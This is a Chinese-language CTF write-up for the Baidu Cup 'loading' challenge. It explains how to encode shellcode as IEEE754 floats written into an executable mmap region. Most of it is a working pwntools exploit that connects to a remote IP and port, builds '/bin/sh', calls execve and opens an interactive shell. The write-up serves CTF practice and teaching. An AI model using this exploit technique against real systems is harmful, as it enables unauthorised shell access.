“百度杯”CTF比賽 十一月場(chǎng)loading

圖片.png
首先需要了解一下mmap函數(shù),mmap函數(shù)相當(dāng)于申請(qǐng)一個(gè)可寫可執(zhí)行的區(qū)域。這里最后執(zhí)行了這個(gè)區(qū)域
這個(gè)程序做的事就是 讀入了一個(gè)有符號(hào)整數(shù),把數(shù)除以2333的浮點(diǎn)數(shù)值寫到mmap的區(qū)域里。
這里就需要了解浮點(diǎn)數(shù)在內(nèi)存中保存的方法。
因?yàn)槭怯蟹?hào)的整數(shù),實(shí)際整數(shù)的范圍是受限制的,我們可以通過輸入的數(shù)字控制變化為十六進(jìn)制過后的中間的字符。這道題的原題是pctf2016的一道題
這個(gè)是那道題的解題思路
http://ajou-whois.org/write-up/2017/11/17/fixedpoint.html
import struct
import pwnlib
import time
def get_int(s):
a = struct.unpack('<f', s)[0]* 2333
return struct.unpack('I', struct.pack('<I', a))[0]
target = pwnlib.tubes.remote.remote('106.75.2.53', 10009, ssl=False)
print "Sending IEEE754 shellcode..."
time.sleep(1)
for i in range(3):
target.sendline(str(get_int('\x00\x00\x00\x00')))
target.sendline(str(get_int('\x99\x89\xc3\x47'))) # mov ebx, eax
target.sendline(str(get_int('\x41\x44\x44\x44'))) # nop/align
for c in '/bin/sh\x00':
target.sendline(str(get_int('\x99\xb0'+c+'\x47'))) # mov al, c
target.sendline(str(get_int('\x57\x89\x03\x43'))) # mov [ebx], eax; inc ebx
for i in range(8):
target.sendline(str(get_int('\x57\x4b\x41\x47'))) # dec ebx
target.sendline(str(get_int('\x99\x31\xc0\x47'))) # xor eax, eax
target.sendline(str(get_int('\x99\x31\xc9\x47'))) # xor ecx, ecx
target.sendline(str(get_int('\x99\x31\xd2\x47'))) # xor edx, edx
target.sendline(str(get_int('\x99\xb0\x0b\x47'))) # mov al, 0xb
target.sendline(str(get_int('\x99\xcd\x80\x47'))) # int 0x80
target.sendline('c')
target.interactive()

圖片.png